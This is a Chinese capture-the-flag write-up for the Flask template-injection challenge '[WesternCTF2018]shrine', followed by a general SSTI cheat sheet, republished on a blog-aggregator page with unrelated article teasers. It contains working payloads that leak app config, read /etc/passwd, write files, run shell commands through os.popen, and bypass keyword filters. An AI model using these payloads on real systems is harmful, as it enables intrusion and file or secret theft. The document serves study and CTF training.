flask之ssti [WesternCTF2018]shrine1

打开题目

 整理一下,代码:

import flask
import osapp = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')def index():return open(__file__).read()@app.route('/shrine/')def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':app.run(debug=True)

    我们简单的代码审计一下

定义了两个路由 //shrine/,分别对应两个视图函数 indexshrine

  • index 视图函数:这个函数定义了一个路由 /,当用户访问该路由时,会读取文件内容

  • shrine 视图函数:这个函数定义了一个路由 /shrine/,它接受一个参数 shrine,内部函数 safe_jinja 对参数进行处理,并通过 flask.render_template_string 渲染模板。然而,safe_jinja 函数中的黑名单机制替换了括号

  • blacklist = ['config', 'self']:定义了名为 blacklist 的列表,其中包含了要在模板中禁止使用的变量名 'config''self'

  • ['{{% set {}=None%}}'.format(c) for c in blacklist]:这部分代码使用了列表推导式,遍历 blacklist 中的每个元素 c,并生成一个格式化后的 Jinja2 模板语句 '{{% set {}=None%}}',其中 {} 将会被替换为 blacklist 中的变量名。

  • ''.join(...):使用 join 方法将列表中的所有模板语句连接成一个字符串。

  • + s:将生成的模板语句字符串与传入的参数 s 连接起来,以生成一个经过处理的字符串返回给调用者

我们用tplmap测试有没有ssti注入

./tplmap.py -u ‘xxxxxx’

发现回显没发现注入点

我们发现有两个路由,我们测试一下

存在ssti注入

我们的目的就是获取全局文本,current_app的config里面的flag

在python里,有许多内置函数,其中有一个 url_for ,其作用是给指定的函数构造 URL。配合globals(),该函数会以字典类型返回当前位置的全部全局变量。

payload:

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

{{url_for.__globals__['current_app'].config}}

都能得到flag

知识点:

1.ssti的漏洞实质

  实质就是服务器端接受了用户的输入,没有经过过滤或者说过滤不严谨,将用户输入作为web应用模板的一部分,但是在进行编译渲染的过程中,执行了用户输入的恶意代码,造成信息泄露,代码执行,getshell等问题

2.flask的一些特性

flask有两种渲染方式,render_template() 和 render_template_string()。

render_template()是渲染文件的,render_template_string是渲染字符串的

使用{ { }}作为变量包裹标识符;

快速查找该引用对应的位置:

''.__class__.__mro__[2].__subclasses__().index(file)

文件读写:

''.__class__.__mro__[2].__subclasses__()[40]

//读取文件

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']("/etc/passwd").read()

''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

将read()改为write()就可以进行写操作:

''.__class__.__mro__[2].__subclasses__()[40]("/root/桌面/test.txt", "a").write("123")

 

命令执行

1.利用eval进行命令执行

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')

2.利用commands实现命令执行

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}

{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()

直接将这些payload放入{ {}}中作为变量执行即可获得想要的结果

flask之url_for函数

url_for()作用:
(1)给指定的函数构造 URL。
(2)访问静态文件(CSS / JavaScript 等)。 只要在你的包中或是模块的所在目录中创建一个名为 static 的文件夹,在应用中使用 /static 即可访问。

更多见:flask之url_for()函数_flask url_for-CSDN博客

02_详解Flask中的URL ——url_for() 与 自定义动态路由过滤器-CSDN博客

flask之current_app

是Flask中的一个全局变量,代表当前运行的Flask应用实例

current_app的主要作用是在应用程序的不同部分中访问应用实例,以便获取应用配置、数据库连接和其他应用范围的对象

Flask特有的变量和函数

config

  config 对象就是Flask的config对象,也就是 app.config 对象

 

request

  Flask中代表当前请求的request对象

session

  Flask的session对象

url_for()

  url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接

get_flashed_messages()

  这个函数会返回之前在flask中通过flask()传入的消息的列表,flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中,再使用get_flashed_message()函数取出它们并消费掉

flask SSTI 题的基本思路

flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。

  • __dict__:保存类实例或对象实例的属性变量键值对字典
  • __class__:返回调用的参数类型
  • __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • __bases__:返回类型列表
  • __subclasses__:返回object的子类
  • __init__:类的初始化方法
  • __globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
__base__ 和 __mro__ 都是用来寻找基类的。

姿势集:

1.{{config}} 可以获取当前设置

如果题目是这样的:

app.config ['FLAG'] = os.environ.pop('FLAG')

可以直接访问 {{config['FLAG']}} 或者 {{config.FLAG}} 得到 flag。

或者

{{self.__dict__._TemplateReference__context.config}}

同样可以找到 config。

2.  [ ] 和 ( )

{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}

3.url_for、g、request、namespace、lipsum、range、session、dict、get_flashed_messages、cycler、joiner、config等

如果上面提到的 config、self 不能使用,要获取配置信息,就必须从它的全局变量(访问配置 current_app 等)。

例如:

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

4.一些关键字被过滤

  • base64编码绕过

用于__getattribute__使用实例访问属性时。

例如,过滤掉 __class__ 关键词

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}

  • 字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}

更多见:CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】 - 知乎

参考wp:

攻防世界 shrine——模板注入绕过:过滤(),{% set %} 过滤config、self - FreeBuf网络安全行业门户

[WesternCTF2018]shrine 1-CSDN博客

知识点参考文章:

Python Flask 基础入门第六课: Flask 全局变量 current_app, g 以及 session各自如何使用 有什么差异-CSDN博客

flask之url_for()函数_flask url_for-CSDN博客

关于flask的SSTI注入[通俗易懂]-腾讯云开发者社区-腾讯云

flask模板注入(ssti),一篇就够了_flask"+"ssti"+"总结-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/762779.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

二、Web3 学习(区块链)

区块链基础知识 一、基础知识1. 区块链可以做什么?2. 区块链的三个特点 二、区块链的类型概括1. PoW2. PoS3. 私有链和联盟链 三、智能合约1. 什么是智能合约2. 如何使用智能合约 四、困境1. 三难选择的基本要素2. 这真的是一个三难选择吗? 五、比特币1. 什么是比特…

JVM面试篇

面试篇就是复习前面学的 什么是JVM 1.定义:JVM指的是Java虚拟机,本质是一个运行在计算机上的程序 2.作用:为了支持Java中Write Once ,Run Anywhere 编写一次 到处运行的跨平台特性 功能: 1.解释和运行 2.内存管理…

《深入解析 C#》—— C# 3 部分

文章目录 第三章 C#3:LINQ及相关特性3.1 自动实现属性(*)3.2 隐式类型 var(*)3.3 对象和集合初始化3.3.1 对象初始化器3.3.2 集合初始化器 3.4 匿名类型3.4.1 基本语法和行为3.4.2 编译器生成类型3.4.3 匿名类型的局限…

【复杂网络建模】——建模工具Matlab入门

目录 一、认识MATLAB 二、认识工具箱 三、基本操作和函数 3.1 算术操作符 3.2 数学函数 3.3 矩阵操作 3.4 索引和切片 3.5 逻辑操作 3.6 控制流程 3.7 数据输入输出 四、变量和数据类型 4.1 数值类型 4.2 整型 4.3 复数 4.4 字符串 4.5 逻辑类型 4.6 结构体&a…

【数据结构】顺序表的实现

文章目录 **线性表(linear):****顺序表****下列是需要实现的接口(Seqlist.h)****顺序表的初始化****顺序表的插入数据****顺序表的扩容(为插入数据提供保障)****顺序表的尾插****顺序表的头插****顺序表的删除数据****顺序表的尾删****顺序表的头删****查找指定位置…

SpringBoot+Redis实现分布式WebSocket

什么是分布式WebSocket? 是指在分布式系统架构中实现WebSocket的通信机制,它允许在不同的服务器节点之间共享和同步WebSocket会话状态,从而实现跨多个服务器的实时消息传递。 在分布式环境中实现WebSocket的挑战主要包括以下几点&#xff1a…

头条网盘拉新项目该怎么选择授权

作为十二月份首发上线的项目——头条网盘拉新。一经上线就受到很多想要做这行业人的关注,光是佣金已经是业内比较高的了!每拉新一位新用户就可以获取到价格为9元一单的佣金,拉失活用户也可以获取价格为4元的佣金,推广方式和其他网…

基于python+vue云上水果超市的设计与实现flask-django-php-nodejs

本论文的主要内容包括: 第一,研究分析当下主流的web技术,结合超市日常管理方式,进行云上水果超市的数据库设计,设计云上水果超市功能,并对每个模块进行说明。 第二,陈列说明该系统实现所采用的架…

财报解读:“高端化”告一段落,华住开始“全球化”?

2023年旅游业快速复苏,全球酒店业直接受益,总体运营指标大放异彩,多数酒店企业都实现了营收上的明显增长,身为国内龙头的华住也不例外。 3月20日晚,华住集团发布2023年四季度及全年财报。整体实现扭亏为盈,…

飞跃前端瓶颈:技术进阶指南精华篇

引言: 在互联网的快车道上,前端技术日新月异。对于前端工程师而言,技术水平达到一定高度后,往往会遭遇成长的天花板。本文将探讨如何识别并突破这些技术瓶颈,分享实用的进阶策略和实践案例。 一、技术等级概览&#xf…

WP免费主题2个分享给需要的人

免费wordpress主题 粉色高端大气的免费wordpress主题,用免费的主题也可以搭建wordpress网站。 https://www.wpniu.com/themes/12.html 免费WP模板 绿色清爽的wordpress建站模板,用免费的WP模板也可以搭建出精美网站。 https://www.wpniu.com/themes/…

图解 LFU 缓存淘汰算法以及在 Redis 中的应用(附带个人完整代码实现)

文章目录 LFU 算法理论介绍算法实现数据结构查询操作插入/更新操作 Redis 缓存淘汰算法缓存污染难题Redis LFU缓存淘汰策略 本篇博客的主要内容: 以图解的方式,介绍 LFU 算法的一种实现;介绍 LFU 算法在 Redis 中的应用。 LFU 算法 理论介…

人工智能驱动客服行业变革:迈向智能化、自动化与数据驱动的新纪元

在科技浪潮的推动下,人工智能(AI)已经逐渐渗透到各个行业之中,其中客服行业正经历着一场前所未有的变革。AI技术的引入,为客服行业注入了智能化、自动化和数据驱动的新动力,引领着客服行业迈向一个崭新的时…

数据仓库的数据处理架构Lambda和Kappa

1.数据仓库 数据仓库(Data Warehouse),简写DW。顾名思义,数据仓库是一个很大的数据存储集合,为企业分析性报告和决策支持而创建,是对多元业务数据的筛选与整合,具备一定的BI能力,主要用于企业的数据分析、数据挖掘、数据报表等方向,指导业务流程改进、监视时间、成本、…

[Linux开发工具]——make/Makefile的使用

Linux项目自动化构建工具——make/Makefile 前言:一、背景二、认识make和makefile2.1 创建Makefile文件2.2 创建test.c文件,并打开Makefile2.3 我们想要test.c生成test文件2.4 编译2.5 清理可执行文件 三、理解依赖关系和依赖方法3.1 依赖关系3.2 依赖方…

发展的挺快的Rust

C 可能在将来会逐步的退出历史舞台 Rust 在linux 上出现的频次越来越多了 新的语言和重构带来了更方便快捷的体验 好玩的命令集合 https://github.com/ibraheemdev/modern-unix.git 这速度,这花活儿

07、面向对象进阶

面向对象进阶 文章目录 面向对象进阶static关键字继承多态包final抽象类与抽象方法接口拓展 内部类成员内部类静态内部类局部内部类匿名内部类 static关键字 static表示静态,是Java中的一个修饰符,可以修饰成员方法,成员变量 静态变量是随着…

C++ Qt开发:QProcess进程管理模块

Qt 是一个跨平台C图形界面开发库,利用Qt可以快速开发跨平台窗体应用程序,在Qt中我们可以通过拖拽的方式将不同组件放到指定的位置,实现图形化开发极大的方便了开发效率,本章将重点介绍如何运用QProcess组件实现针对进程的控制管理…

mysqly索引(explain 执行计划)

关键词 执行计划 EXPLAIN 语句查看mysql 优化后的语句 show warnings;EXPLAIN 执行后,各列的含义 要点: select_type 如何查询 表type 如何查询 行key 如何使用 索引key_len 索引 使用多少rows 行 预计使用多少extra 表 的额外信息 1.id id列的编…

Spring之@Qualifier注解

场景重现 当我们注入的依赖存在多个候选者,我们得使用一些方法来筛选出唯一候选者,否则就会抛出异常 demo演示 创建接口Car,以及两个实现其接口的bean public interface Car { }Component public class RedCar implements Car { }Component public class WhiteCar implemen…